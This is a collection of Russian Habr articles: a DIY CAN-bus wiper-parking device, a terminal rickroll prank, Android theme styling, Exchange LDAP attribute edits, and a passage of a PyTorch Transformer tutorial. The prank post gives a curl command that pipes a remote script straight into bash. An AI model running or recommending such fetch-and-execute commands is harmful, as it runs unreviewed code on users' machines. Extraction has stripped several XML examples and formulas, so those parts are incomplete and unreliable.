И тут я вспомнил, что папа в детстве всегда учил меня, чтобы у всех приборов была общая земля!
Штука тут вот в чем. Пока я подключал прошивальщик и UART все устройства у меня были включены в USB-порты одного компьютера, а значит имели общую землю.
Как только я запитал плату от внешнего блока питания 12 вольт, блок питания и UART оказались не связанными общей землей. Из-за этого разница потенциалов на пинах UARTа оказалась не 3.3 и даже не 5, а какой-то совсем иной. Иной в большую сторону.
Это привело к тому что часть чипа выгорела и не могла нормально функционировать. Проблема была именно в том, что для UART я развел только RX и TX пины, но не обеспечил UART преобразователь общей с контроллером землей. Пришлось перепроектировать плату - вывести дополнительный пин с землей для безопасного подключения UART.
### Особенности LS-шины. Второе перепроектирование платы
Чтобы объяснить следующий факап, нужно немного углубиться в том, как работает CAN-шина и в особенности устройства шин в Opel Astra.
CAN-шина состоит обычно из двух проводников - High (H) и Low (L). Суть работы трансиверов заключается в управлении разницей напряжения между этими проводниками. Когда разница 0 - шина находится в рецессивном состоянии, когда больше или равна определенному значению - шина находится в доминантном состоянии.
Понятно, что выше чем свое напряжение питания уровень на линиях шины он не сделает.
Так как STM32 питается от 3.3 вольт, для обеих шин я выбрал трансиверы, работавшие от этого же напряжения.
Когда я запустил устройство, обнаружилось, что а) я успешно могу читать обе использованные шины, но б) писать в LS-шину я почему-то не могу, авто игнорировал все посылки, отправляемые в шину.
Чем же LS-шина такая особенная? Отличие от MS не только в скорости, а еще и в том, что на LS-шине для создания доминантного состояния требуется разница между H и L равная 5 вольт (при этом для MS-шины это значение не превышает 3 вольт).
Таким образом трансивер, работающий от 3 вольт, никак не мог создать разницу H-L достаточную чтобы перейти в доминантное состояние. Но при этом вполне мог "читать" эту разницу и воспринимать идущие по шине посылки.
Тут уже пришлось выбрать другую модель трансивера, работающую от 5 вольт, и разместить на плате дополнительный преобразователь 12 - 5. Преобразование 12 - 5 удалось уместить на нижней плате пирога, непосредственно рядом с посадочным местом разъема OBD-II.
### Разбираем-собираем
С Алика приехал OBD-II разъем, оказалось что я не угадал с размерами плат и текущая версия платы не влезает по габаритам. Ошибся примерно на 1 мм в каждом измерении. Ок, делаем еще одну ревизию платы, урезаем с каждой стороны на 0.5 мм, немного двигаем не влезающие компоненты, проверяем все еще раз, заказываем вторую ревизию платы со всеми исправлениями.
Решил купить себе паяльную станцию чтобы нормально демонтировать SMD-компоненты. Приобрел на Алике - станция с феном и паяльником. С помощью нее снял все с первой версии платы и перенес на новую версию, разместил разъем, немного подработал напильником слишком длинные контактные площадки так чтобы крышечка защелкивалась )
### Пишем прошивку
Тут ничего особо хитрого. Прошивка пишется на C, используя библиотеку HAL (Hardware Abstraction Layer) от STM. Стартуем шину, фильтруем ее по нужным идентификаторам посылок, разбираем пришедшие данные.
Посылка в CAN-шине состоит из идентификатора и максимум 8 байт данных. В авто каждый идентификатор обычно описывает какое-то одно действие. Например, посылка с состоянием двигателя, посылка при нажатии на подрулевой переключатель, посылка с данными термодатчика за бортом. В данных каким-то образом зашифровано что собственно произошло.
В итоге фильтруем три посылки.
Первая - состояние двигателя. Фиксируем смену состояний между "заглушен" и "работает". При переходе из рабочего в нерабочее - выставляем флаг что нужно запарковать дворники. При переходе из нерабочего в рабочее - сбрасываем все состояние в начальные значения.
Вторая - температура за бортом. Если она ниже 4 градусов - выставляем флаг разрешающий парковку. Если выше - запрещаем парковку.
Третья - состояние подрулевых переключателей. Я решил что толку парковать дворники если ими не пользовались - нет. Пусть даже на улице и холодно, но если снега нет и водитель не чистит стекло - значит и осадков на нем нет, а значит парковать нет никакого толка. Еще я считаю количество использований. Если за время, пока мотор был заведен, было только одно использование стеклоочистителей - скорее всего это водитель вернул дворники из запаркованного состояния при запуске двигателя. А вот если срабатываний было 2 или больше - верный признак того что стекло чистят.
Почему я пишу что "выставляю флаг"? А где же сама парковка? Почему при получении телеграммы с состоянием двигателя "выкл" сразу не запустить парковку?
А все потому, что "прерывание". В моей программе в конце функции main можно увидеть код от которого привычный к другим языкам программирования (например к JS - такой как я) человек скорее всего покрутит пальцем у виска
```
while (true) {
park_wipers_if_needed();
}
```
То есть мы постоянно крутимся в цикле и проверяем, не надо ли запарковать дворники? А где же тогда обработка состояния шины и т.п.?
А обработка состояния шины происходит в прерываниях. Когда внешняя аппаратура меняет состояния пинов микроконтроллера, внутри случается "прерывание" и управление передается на его обработчик, не важно в каком при этом while(true) мы находимся. В этом обработчике анализируется состояние аппаратуры и если получен готовый пакет его можно вычитать и проанализировать (то самое состояние двигателя).
Если в этой точке мы будем делать что-то длительное (например отправлять другие посылки в шину) или тем более делать какие-то паузы в коде ("удержание" подрулевого переключателя "нажатым" делается путем отправки специального пакета каждые Х миллисекунд) мы не дадим микроконтроллеру нормально работать и скорее всего он либо не сможет отправить нашу посылку либо мы пропустим какое-то другое важное прерывание и пропустим какое-нибудь сообщение от шины. Именно такой результат я и получил когда запустил парковку внутри обработчика события о получении нового пакета по шине.
По этой причине код в обработчиках, которые исходят от прерываний делается максимально коротким. В моем случае - выставляется флаг. А уже потом, когда обработка прерывания будет завершена и управление будет передано в наш бесконечный цикл - можно и заняться другими полезными вещами.
### "Заваливаем" шину
Еще один интересный факап - "обрушение" CAN-шины. В одной из прошивок я ошибся в настройках трансивера и выставил некорректную скорость шины. В итоге скорость, на которой пытался завестись трансивер не совпадала со скоростью, на которой работали все остальные устройства. Получился очень интересный эффект... Авто решило, что попало в аварию! Для мозгов автомобиля это, видимо, выглядело как потеря коннективности между различными участками системы. В момент подключения девайса в диагностический разъем, а точнее через пару секунд после этого Opel погасил все приборы, включил свет в салоне, врубил аварийку и разблокировал двери! Нет, подушки не сработали. Говорят "выстрелить" подушки через шину не получится да и сидят они, на сколько я знаю, на HS к которой я не подключался.
Выставление правильной скорости решило проблему, Opel больше не считал что пора спасать водителя. Но вот чтобы погасить свет в салоне пришлось скидывать клемму с аккумулятора.
### Итог
Что получилось в итоге? Получилось рабочее устройство вида "включил и работает" которое может подключить неспециалист. Не надо морочиться с проводами, изоляцией, врезкой в существующую проводку. Удалось сделать его достаточно компактным чтобы разместить его в штатном диагностическом разъеме Opel Astra H и при этом закрыть (ну почти) крышку, которая этот разъем обычно скрывает от шаловливых ручек.
Девайс имеет возможности к расширению функционала за счет наличия второй шины - например можно вывести t двигателя на штатный экран (в Opel Astra H температура двигателя никак не выведена на приборную панель, доступна только в сервисном меню) или закрыть стекла автоматически при постановке на охрану (так конечно же умеют многие дополнительные сигнализации). Прошивку можно адаптировать для любого автомобиля, например похожая (но ручная, не автоматизированная) парковка дворников так же есть в автомобилях VAG и Lada.
Исходный код, схема и плата [доступны на GitHub](https://github.com/Olegas/smart-wipers).
P.S. Выражаю огромную благодарность за консультации и ответы на бесконечные глупые вопросы сенсею Егору Давыденко из [StarKit Robots](https://www.starkitrobots.com/) | https://habr.com/ru/post/552726/ | null | ru | null |
# Never Gonna Give Your Terminal
Rick Astley — Never Gonna Give Your Up теперь и в вашем ~~мобильном~~ терминале!
```
curl -s https://raw.github.com/keroserene/rickrollrc/master/roll.sh | bash
```
Используется видео, которое было сконвертировано в ASCII 256-color, и звук в wav или raw, в зависимости от системы.
Для вывода «видео» используется python.
Имеется функция встраивания в .bashrc ;)
Работает на Linux, Mac OS и Cygwin
[Репозиторий на github](https://github.com/keroserene/rickrollrc) | https://habr.com/ru/post/197258/ | null | ru | null |
# Стилизация приложений часть первая
Все идет хорошо, вы успешно пишете свои великолепные (ну у кого-как) приложения, даже бывает публикуете их на маркете, но возникает проблема: весь интерфейс уж слишком скучен и однообразен, черный фон (в некоторых селениях белый) и стандартные элементы уж слишком приелись…
Ну или пойдем по другому пути — у вас имеется своя контора Васей Пупкиных с некой деятельностью в мировой сети (допустим продажа хомячков), и (о ужас!) у вас есть целый сайт. Сайт, ага, сайт то у нас красивый, зелененький/красненький/желтенький ну и т.д. и есть программа-клиент для этого сайта, и мы хотим раскрасить свое приложение в цвета сайта.
Это статья о том, как можно стилизовать свое приложение под конкретные цвета, а не ограничиваться цветами Андроида
Русско-язычной информации по этой теме мало, будем восполнять запасы.
**1. Выбираем цветовую гамму**
Тут вроде все понятно — какой хотим, такой и выбираем. В статье будем придерживаться всей цветовой гаммы, во избежании комментариев типа «А зелененький круче»
**1.1. Подготавливаем список цветов**
Фон окон: #370903 — не отвлекающий темно-красный цвет
Текст: #F0E68C цвет хаки (желтый в общем)
Кнопки: Градиент от #7FA40E до #B7EF8E — зеленые оттенки
Прогресс-бар: Градиент от #2E6FC8 до #759BFB — ну а куда без синего?
**2. Ну кто там сказал поехали?**
Начинаем собственно наш процесс
**2.1. Скучная теория**
Как вы догадались, мы не будем изобретать супер-велосипеды, ведь все давно реализовано в Андроиде. Приложение может содержать свои стили и прямо таки намекать Андроиду, на что будут распространятся эти стили. Стиль — это обычный XML ресурс (ну не только XML, но в рамках этой статьи мы будем говорить именно о нем), который должен храниться в папке res/values вашего приложения.
**2.2. Пишем стиль**
Создаем файл res/values/theme.xml (название файла непринципиально, можно писать хоть в strings.xml) и пишем в него следующее:
```
xml version="1.0" encoding="utf-8"?
```
Здесь тегом мы создаем новый стиль с названием HabraTheme и наследованием от системного стиля Theme.Black (наследование необязательное). Теперь для дальнейшего тестирования стиля нам потребуется прописать его для активити (или всего приложения) в AndroidManifest.xml:<br/>
<br/>
<pre><code class="xml"><activity
...
android:theme="@style/HabraTheme" >
...
</activity>
</code></pre><br/>
<br/>
Для применения стиля на все приложение необходимо его прописать не в тег <activity>, а тег <application>.<br/>
<br/>
<i>Фон окон</i>:<br/>
Прописываем внутрь тега <style> новый тег <item> с параметром name=«android:windowBackground» и содержимым #370903:<br/>
<br/>
<pre><code class="xml"><style name="HabraTheme" parent="@android:style/Theme.Black">
<item name="android:windowBackground">#370903</item>
На самом деле писать цвета прямо в тег item считается плохим тоном, лучше вынести их в отдельный список цветов, но здесь мы экономим место.
*Текст*:
Тег с параметром name=«android:textColor» и содержимым #F0E68C:
```
#F0E68C
```
*Кнопки*:
С кнопками сложней всего, нам придется создать еще 4 дополнительных файла в папке res/drawable:
hbutton\_normal.xml
```
xml version="1.0" encoding="utf-8"?
```
Здесь мы используем XML-Drawable для создания фигуры кнопки. Задаем наш градиент, скругление в 12 пикселей и отступы для текста кнопки
hbutton\_focused.xml
```
xml version="1.0" encoding="utf-8"?
```
А это состояние сфокусированной кнопки (не нажатой!), мы просто чуть меняем endColor
hbutton\_pressed.xml
```
xml version="1.0" encoding="utf-8"?
```
Это фигура нажатой кнопки, помимо изменения цветов мы добавляем рамку (stroke) толщиной в 2 пикселя так-же зеленого цвета
Осталось объединить эти фигуры в одну кнопку:
hbutton.xml
```
xml version="1.0" encoding="utf-8"?
```
Здесь мы указываем, какому состоянию принадлежит какая фигура
Теперь возвращаемся в theme.xml и создаем новый стиль:
```
<item name="android:background">@drawable/hbutton</item>
```
И указываем стиль для кнопки в HabraTheme:
```
@style/HabraThemeButton
```
ProgressBar мы реализовывать не будем, это будет вашим домашним заданием:)
Наш конечный результат:
P.S. В изучении стилей очень помогают исходные ресурсы Андроида, расположенные по адресу android-sdk/platform/platform-\*/data/res/values/themes.xml | https://habr.com/ru/post/133307/ | null | ru | null |
# Exchange 2007/2010, отправка писем пользователям домена имеющим внешние почтовые адреса
Есть интересный баг, а может даже фича в Exchange 2007/2010 с отправкой писем пользователю имеющему внешний почтовый ящик.
##### **Предыстория**
Допустим у вас имеется какой-нибудь OU в вашем домене, который нужен для авторизации сторонних пользователей, которым вы не выделяете почтовый ящик своего домена, а они используют свой. Назовем такой OU — External. Обычно такое требуется если вы работаете с какими-либо партнёрами и представляете им доступ к каким-то ресурсам своей организации.
Открывая нового пользователя в данной OU вы указываете его внешний e-mail адрес скажем username@externaldomain.com и естественно вы хотите чтобы этот пользователь имел возможность состоять в списках рассылок и получать все письма которые генерируются разными системами автоматически, а также чтобы он был доступен для пользователей из других OU в адресной книге и другие пользователи имели возможность посылать ему письма обычном способом выбирая получателя в Аутлуке.
Так вот, сделать такое стандартными средствами Exchange невозможно! Почта попросту не отправляется на внешнии адреса, если такой указан в AD у пользователя. Я перерыл кучу статей и единственный способ, который я нашел и который авторитетно рекомендует Microsoft в [Technet](http://technet.microsoft.com/en-us/magazine/ff381469.aspx) это открытие для каждого такого пользователя еще и мэйл контакта на который будет пересылаться вся почта. (Вот [здесь](http://www.msexchange.org/tutorials/mf015.html) процесс в картинках) Вы только вдумайтесь — открывать на каждого существующего пользователя еще и контакт с теми же самыми данными плюс с изменением буквы в имени или фамилии, так как такой объект ввиде пользователя уже существует и AD не даст вам создать дубликат. А потом еще и настраивать форвард с пользователя на контакт. Я извиняюсь, но это идиотизм и костыли. Вполне официальные костыли.
##### **Учим мат-часть**
Имея небольшое представление о структуре данных и аттрибутов LDAP я отправился изучать список аттрибутов которые использует Exchange и которые будут необходимы нам для решения поставленной задачи.
Итак нам потребуется LDAP Attribute Editor, в режим которого можно попасть из консоли AD Users & Computers, View --> Advanced Features. Далее находим нужного пользователя и открываем вкладку Attribute Editor.
##### **За напильник!**
Далее находим аттрибут — **'proxyAddresses**' и добавляем значения:
`SMTP:username@externaldomain.com
X400:C=US;A=LOCALDOMAIN;P=LOCALDOMAIN;O=Exchange;S=Surname;G=Name;`
Где соотвественно username@externaldomain.com — внеший почтовый ящик пользователя, а X400 как раз позволит нам использовать MTA (mail transfer agent) для данного пользователя. (C=Страна, A=Административный управляющий домен, P=Приватный управляющий домен, O=Организация, S=Фамилия, G=Имя)
Находим аттрибут **'targetAddress'** и добавляем значения
`SMTP:username@externaldomain.com`
В аттрибут **'legacyExchangeDN'** добавляем
`/o=LOCALDOMAIN/ou=First Administrative Group/cn=Recipients/cn=NameSurname`
И заполняем в соотвествии с названием вашей организации (домейна)
В принципе этого уже достаточно чтобы заработал почтовый роутинг на внешнии адреса локальных пользователей.
##### **Тюнинг**
Находим аттрибут **'mAPIRecipient'** и ставим его значие FALSE. Это отключает Rich Text, стили и оформление писем для Аутлука. Если этого не сделать, то пользователи не аутлука, а веб-мэйла или других почтовых программ, которые не умеют форматировать письма в Rich Text будут получать аттачментом файл Winmail.dat, который и содержит эти стили.
Теперь если мы желаем, чтобы этот пользователь отображался в GAL (Global Addres List) в глобальном листе контактов организации выполняем следущее:
Находим аттрибут **'showInAddressBook'** и добавляем туда три следущих записи:
`CN=All Users,CN=All Address Lists,CN=Address Lists Container,CN=ORGANIZATION,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=DOMAIN,DC=com
CN=Default Global Address List,CN=All Global Address Lists,CN=Address Lists Container,CN=ORGANIZATION,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=DOMAIN,DC=com
CN=All Contacts,CN=All Address Lists,CN=Address Lists Container,CN=ORGANIZATION,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=DOMAIN,DC=com`
Естественно значения ораганизации и домена вам нужно будет изменить на свои.
Также можно сделать несложный скрипт на PowerShell, который будет автоматически редактировать нужные аттрибуты.
Справка по LDAP аттрибутам — [www.computerperformance.co.uk/Logon/LDAP\_attributes\_active\_directory.htm](http://www.computerperformance.co.uk/Logon/LDAP_attributes_active_directory.htm)
[msdn.microsoft.com/en-us/library/ms675090](http://msdn.microsoft.com/en-us/library/ms675090)(v=vs.85) | https://habr.com/ru/post/145681/ | null | ru | null |
# Модели глубоких нейронных сетей sequence-to-sequence на PyTorch (Часть 6)
6 - Attention is All You Need
-----------------------------
В этом разделе мы будем реализовывать слегкаизмененнуюверсию модели Transformer из статьи [Attention is All You Need](https://arxiv.org/abs/1706.03762). Все изображения в этой части взяты из этой статьи. Для получения дополнительной информации о Transformer обращайтесь [сюда](https://www.mihaileric.com/posts/transformers-attention-in-disguise/), [сюда](https://jalammar.github.io/illustrated-transformer/) [и сюда](http://nlp.seas.harvard.edu/2018/04/03/attention.html). На русском языке [здесь](https://habr.com/ru/post/486358/).
### Введение
Подобно свёрточной модели Sequence-to-Sequence, Transformer не использует никакой рекуррентности. Он также не использует свёрточные слои. Вместо этого модель полностью состоит из линейных слоев, механизмов внимания и нормализации.
По состоянию на январь 2020 года трансформеры являются доминирующей архитектурой в NLP и используются для достижения передовых результатов во многих задач, и похоже, что они будут доминировать в ближайшем будущем в области обработки языков.
Самый популярный Transformer вариант это [BERT](https://arxiv.org/abs/1810.04805) (**B**idirectional **E**ncoder **R**epresentations from **T**ransformers) и предварительно обученные версии BERT обычно используются для замены слоёв эмбеддинга — если не больше - в NLP моделях.
Распространенной библиотекой, используемой при работе с предварительно обученными трансформаторами, является библиотека [Transformers](https://huggingface.co/transformers/), смотрите [здесь](https://huggingface.co/transformers/pretrained_models.html) список всех доступных предварительно обученных моделей.
Различия между реализацией в этой части и в статье:
* мы используем обученную позиционную кодировку вместо статической
* мы используем стандартный оптимизатор Adam со статической скоростью обучения вместо оптимизатора с динамически изменяющейся скоростью
* мы не используем сглаживание меток
Мы вносим все эти изменения, поскольку они близки к настройкам BERT и большинство вариантов Transformer используют аналогичную настройку.
Как и ранее, если визуальный формат поста вас не удовлетворяет, то ниже ссылки на английскую и русскую версию jupyter notebook:
[Исходная версия](https://github.com/bentrevett/pytorch-seq2seq/blob/master/6%20-%20Attention%20is%20All%20You%20Need.ipynb) [Open jupyter notebook In Colab](https://colab.research.google.com/github/bentrevett/pytorch-seq2seq/blob/master/6%20-%20Attention%20is%20All%20You%20Need.ipynb)
[Русская версия](https://github.com/vasiliyeskin/bentrevett-pytorch-seq2seq_ru/blob/master/6%20-%20Attention%20is%20All%20You%20Need.ipynb) [Open jupyter notebook In Colab](https://colab.research.google.com/github/vasiliyeskin/bentrevett-pytorch-seq2seq_ru/blob/master/6%20-%20Attention%20is%20All%20You%20Need.ipynb)
**Замечание**: русская версия jupyter notebook отличается от исходной добавленным в конце тестом на инверсию предложения.
### Подготовка данных
Как всегда, давайте импортируем все необходимые модули и зададим случайные начальные числа для воспроизводимости.
```
import torch
import torch.nn as nn
import torch.optim as optim
import torchtext
from torchtext.legacy.datasets import Multi30k
from torchtext.legacy.data import Field, BucketIterator, TabularDataset
import matplotlib.pyplot as plt
import matplotlib.ticker as ticker
import spacy
import numpy as np
import random
import math
import time
```
```
SEED = 1234
random.seed(SEED)
np.random.seed(SEED)
torch.manual_seed(SEED)
torch.cuda.manual_seed(SEED)
torch.backends.cudnn.deterministic = True
```
Для загрузки в Google Colab используем следующие команды (После загрузки обязательно перезапустите colab runtime! Наибыстрейший способ через короткую комаду： **Ctrl + M + .**):
```
!pip install -U spacy==3.0
!python -m spacy download en_core_web_sm
!python -m spacy download de_core_news_sm
```
Затем мы создадим наши токенизаторы, как и раньше.
```
spacy_de = spacy.load('de_core_news_sm')
spacy_en = spacy.load('en_core_web_sm')
```
```
def tokenize_de(text):
"""
Tokenizes German text from a string into a list of strings
"""
return [tok.text for tok in spacy_de.tokenizer(text)]
def tokenize_en(text):
"""
Tokenizes English text from a string into a list of strings
"""
return [tok.text for tok in spacy_en.tokenizer(text)]
def tokenize_text(text):
"""
Tokenizes English text from a string into a list of strings
"""
return [tok.text for tok in text.split(' ')]
```
Наши поля такие же, как и в предыдущих частях. Модель ожидает, что данные будут введены в первую очередь с размерностью батча, поэтому мы используем`batch_first = True`.
```
SRC = Field(tokenize = tokenize_de,
init_token = '',
eos\_token = '',
lower = True,
batch\_first = True)
TRG = Field(tokenize = tokenize\_en,
init\_token = '',
eos\_token = '',
lower = True,
batch\_first = True)
```
Затем мы загружаем набор данных Multi30k и создаем словарь.
```
train_data, valid_data, test_data = Multi30k.splits(exts = ('.de', '.en'),
fields = (SRC, TRG))
```
```
SRC.build_vocab(train_data, min_freq = 2)
TRG.build_vocab(train_data, min_freq = 2)
```
Наконец, мы определяем устройство для обучения и итератор данных.
```
device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
```
```
BATCH_SIZE = 128
train_iterator, valid_iterator, test_iterator = BucketIterator.splits(
(train_data, valid_data, test_data),
batch_size = BATCH_SIZE,
device = device)
```
### Построение модели
Далее мы построим модель. Как и в предыдущих частях, она состоит из *кодера* и *декодера*, с кодером *кодирующим* входное предложение нанемецкомязыке в *вектор контекста* и декодера, который *декодирует* этот вектор контекста в выходное предложение наанглийскомязыке.
#### Кодировщик
Подобно модели ConvSeq2Seq, кодировщик Transformer не пытается сжать всё исходное предложение  в единый вектор контекста . Вместо этого он создает последовательность векторов контекста . Итак, если бы наша входная последовательность состояла из 5 токенов, у нас было бы . Почему мы называем этот тензор последовательностью контекстных векторов, а не последовательностью скрытых состояний? Скрытое состояние в момент времени  в RNN видит только токены и все токены, что были перед ним. Однако здесь каждый вектор контекста `видел` все токены во всех позициях входной последовательности.
Сначала токены проходят через стандартный слой эмбеддинга. Поскольку модель не является рекуррентной, она не имеет представления о порядке токенов в последовательности. Мы решаем эту проблему, используя второй слой эмбеддинга, называемый *позиционный слой эмбеддинга* positionalembeddinglayer. Это стандартный эмбеддинг, для которого входом является не сам токен, а позиция токена в последовательности, начиная с первого токена, токена началопоследовательности в позиции 0. Позиционный эмбеддинг имеет размер словаря, равный 100, что означает, что наша модель может принимать предложения длиной до 100 токенов. Его можно увеличить, если мы хотим обрабатывать более длинные предложения.
Оригинальная реализация Transformer в статье Attention is All You Need не обучала позиционный эмбеддинг. Вместо этого в ней использовался фиксированный статический эмбеддинг. Современные архитектуры Transformer, такие как BERT, вместо этого используют позиционные эмбеддинги, поэтому мы решили использовать их в этой реализации. Обратитесь [сюда](http://nlp.seas.harvard.edu/2018/04/03/attention.html#positional-encoding), чтобы узнать больше о позиционных эмбеддингах, используемых в исходной модели Transformer.
Затем токен и результат прохождения позиционного эмбеддинга поэлементно суммируются для получения вектора, который содержит информацию о токене, а также его позицию в последовательности. Однако перед суммированием токенов эмбеддинга они умножаются на коэффициент масштабирования, равный , где  размер скрытого измерения `hid_dim`. Это якобы уменьшает дисперсию эмбеддинга, и модель трудно обучить без этого коэффициента масштабирования. Затем применяется дропаут для комбинированного эмебеддинга.
Комбинированный эмебеддинг затем пропускаются через  *слоев кодировщика* для получения , для вывода и использования декодером.
Исходная маска `src_mask` просто имеет ту же форму, что и исходное предложение, но имеет значение 1, когда токен в исходном предложении не является токеном и 0, когда это токен . Это используется в слоях кодировщика для маскировки механизмов многонаправленного внимания, которые используются для вычисления и применения внимания к исходному предложению, поэтому модель не обращает внимания на токены , которые не содержат полезной информации.
```
class Encoder(nn.Module):
def __init__(self,
input_dim,
hid_dim,
n_layers,
n_heads,
pf_dim,
dropout,
device,
max_length = 100):
super().__init__()
self.device = device
self.tok_embedding = nn.Embedding(input_dim, hid_dim)
self.pos_embedding = nn.Embedding(max_length, hid_dim)
self.layers = nn.ModuleList([EncoderLayer(hid_dim,
n_heads,
pf_dim,
dropout,
device)
for _ in range(n_layers)])
self.dropout = nn.Dropout(dropout)
self.scale = torch.sqrt(torch.FloatTensor([hid_dim])).to(device)
def forward(self, src, src_mask):
#src = [batch size, src len]
#src_mask = [batch size, 1, 1, src len]
batch_size = src.shape[0]
src_len = src.shape[1]
pos = torch.arange(0, src_len).unsqueeze(0).repeat(batch_size, 1).to(self.device)
#pos = [batch size, src len]
src = self.dropout((self.tok_embedding(src) * self.scale) + self.pos_embedding(pos))
#src = [batch size, src len, hid dim]
for layer in self.layers:
src = layer(src, src_mask)
#src = [batch size, src len, hid dim]
return src
```
#### Слой кодировщика
Слои кодировщика — это место, содержащее всю «соль» кодировщика. Сначала мы передаем исходное предложение и его маску в *слой многонаправленного внимания*, затем выполняем дропаут для его выхода, применяем остаточное соединение и передайте его через [слой нормализации](https://arxiv.org/abs/1607.06450). Затем результат мы пропускаем через слой *сети позиционно-зависимого прямого распространения* и снова применяем дропаут, остаточное соединение, слой нормализации, чтобы получить вывод этого слоя, который передается на следующий слой. Параметры не разделяются неявляютсяобщими между слоями.
Слой многонаправленного внимания используется уровнем кодировщика для сосредоточения внимания на исходном предложению, то есть он вычисляет и применяет механизм внимание по отношению к себе, а не к другой последовательности, поэтому эту процедуру называются *внутренним вниманием*.
[Эта](https://mlexplained.com/2018/01/13/weight-normalization-and-layer-normalization-explained-normalization-in-deep-learning-part-2/) статья подробно рассказывает о нормализации слоев. Суть в том, что в процедуре нормализации нормализуются значения признаков тоестьпоскрытымизмерениям, поэтому каждый признак имеет среднее значение 0 и стандартное отклонение 1. Это упрощает обучение нейронных сетей с большим количеством слоев, таких как Transformer.
```
class EncoderLayer(nn.Module):
def __init__(self,
hid_dim,
n_heads,
pf_dim,
dropout,
device):
super().__init__()
self.self_attn_layer_norm = nn.LayerNorm(hid_dim)
self.ff_layer_norm = nn.LayerNorm(hid_dim)
self.self_attention = MultiHeadAttentionLayer(hid_dim, n_heads, dropout, device)
self.positionwise_feedforward = PositionwiseFeedforwardLayer(hid_dim,
pf_dim,
dropout)
self.dropout = nn.Dropout(dropout)
def forward(self, src, src_mask):
#src = [batch size, src len, hid dim]
#src_mask = [batch size, 1, 1, src len]
#self attention
_src, _ = self.self_attention(src, src, src, src_mask)
#dropout, residual connection and layer norm
src = self.self_attn_layer_norm(src + self.dropout(_src))
#src = [batch size, src len, hid dim]
#positionwise feedforward
_src = self.positionwise_feedforward(src)
#dropout, residual and layer norm
src = self.ff_layer_norm(src + self.dropout(_src))
#src = [batch size, src len, hid dim]
return src
```
#### Слой многонаправленного внимания
Одна из ключевых, новых концепций, представленных в статье о Transformer, - это *слой многонаправленного внимания*.
Внимание можно рассматривать как *запросы*, *ключи* и *значения* - где запрос используется с ключом для получения вектора внимания (обычно для вывода используется операция *softmax* и выходные величины имеют значения от 0 до 1, которые в сумме равны 1), используемый для получения взвешенной суммы значений.
Трансформер использует *масштабированное скалярное произведение внимания*, для которого *запрос* и *ключ* объединяются путем взятия скалярного произведения между ними, затем применяя операцию softmax и масштабируя прежде чем, наконец, умножить на *значение*. это *размер направления*, `head_dim`, которое мы раскроем далее.
Это похоже на стандартное *скалярное произведение для внимания*, но масштабируется по , которое, как говорится в статье, используется, чтобы остановить результаты скалярных произведений, становящиеся большими, что приводит к тому, что градиенты становятся слишком маленькими.
Однако масштабированное скалярное произведение внимания применяется не просто к запросам, ключам и значениям. Вместо того, чтобы применять единственное внимание к запросам, ключам и значениям, их `hid_dim` разделить на *направлений* и масштабированное скалярное произведение внимания рассчитывается по всем направлениям параллельно. Это означает, что вместо того, чтобы уделять внимание одному понятию за одно применения внимания, мы обращаем внимание на понятий. Затем мы повторно объединяем направления в их `hid_dim` форму, таким образом, каждый `hid_dim` потенциально обращает внимание на  разных понятий.
 это линейный слой, применяемый в конце слоя внимания с несколькими направлениями, `fc`.  линейные слои `fc_q`, `fc_k` и `fc_v`.
Проходя по модулю, сначала вычисляем ,  и  с линейными слоями `fc_q`, `fc_k` и `fc_v`, дающие нам`Q`, `K` и `V`. Далее мы разбиваем `hid_dim` запроса, ключа и значения на `n_heads`, используя `.view` и правильно поменяв их порядок так, чтобы их можно было перемножить. Затем мы вычисляем `energy` ненормализованноевнимание путем умножения `Q` и `K` вместе и масштабируя её на квадратный корень из `head_dim`, которое рассчитывается как `hid_dim // n_heads`. Затем мы маскируем энергию, чтобы не обращать внимания на элементы последовательности, на которые не следует сосредотачиваться, затем применяем softmax и дропаут. Затем мы применяем внимание к значениям направлений `V`, перед объединением `n_heads` вместе. Наконец, мы умножаем результат на , представленное `fc_o`.
Обратите внимание, что в нашей реализации длины ключей и значений всегда одинаковы, поэтому при матричном умножении выход softmax, `attention`, с `V` у нас всегда будут правильного размера для умножения матриц. Это умножение выполняется с использованием `torch.matmul` который, когда оба тензора > 2-мерны, выполняет пакетное матричное умножение по последним двум измерениям каждого тензора. Это будет **querylen,keylen x valuelen,headdim** умножение матрицы на размер пакета и каждое направление, которая обеспечивает результат вида **batchsize,nheads,querylen,headdim**.
```
class MultiHeadAttentionLayer(nn.Module):
def __init__(self, hid_dim, n_heads, dropout, device):
super().__init__()
assert hid_dim % n_heads == 0
self.hid_dim = hid_dim
self.n_heads = n_heads
self.head_dim = hid_dim // n_heads
self.fc_q = nn.Linear(hid_dim, hid_dim)
self.fc_k = nn.Linear(hid_dim, hid_dim)
self.fc_v = nn.Linear(hid_dim, hid_dim)
self.fc_o = nn.Linear(hid_dim, hid_dim)
self.dropout = nn.Dropout(dropout)
self.scale = torch.sqrt(torch.FloatTensor([self.head_dim])).to(device)
def forward(self, query, key, value, mask = None):
batch_size = query.shape[0]
#query = [batch size, query len, hid dim]
#key = [batch size, key len, hid dim]
#value = [batch size, value len, hid dim]
Q = self.fc_q(query)
K = self.fc_k(key)
V = self.fc_v(value)
#Q = [batch size, query len, hid dim]
#K = [batch size, key len, hid dim]
#V = [batch size, value len, hid dim]
Q = Q.view(batch_size, -1, self.n_heads, self.head_dim).permute(0, 2, 1, 3)
K = K.view(batch_size, -1, self.n_heads, self.head_dim).permute(0, 2, 1, 3)
V = V.view(batch_size, -1, self.n_heads, self.head_dim).permute(0, 2, 1, 3)
#Q = [batch size, n heads, query len, head dim]
#K = [batch size, n heads, key len, head dim]
#V = [batch size, n heads, value len, head dim]
energy = torch.matmul(Q, K.permute(0, 1, 3, 2)) / self.scale
#energy = [batch size, n heads, query len, key len]
if mask is not None:
energy = energy.masked_fill(mask == 0, -1e10)
attention = torch.softmax(energy, dim = -1)
#attention = [batch size, n heads, query len, key len]
x = torch.matmul(self.dropout(attention), V)
#x = [batch size, n heads, query len, head dim]
x = x.permute(0, 2, 1, 3).contiguous()
#x = [batch size, query len, n heads, head dim]
x = x.view(batch_size, -1, self.hid_dim)
#x = [batch size, query len, hid dim]
x = self.fc_o(x)
#x = [batch size, query len, hid dim]
return x, attention
```
#### Слой позиционно-зависимого прямого распространения
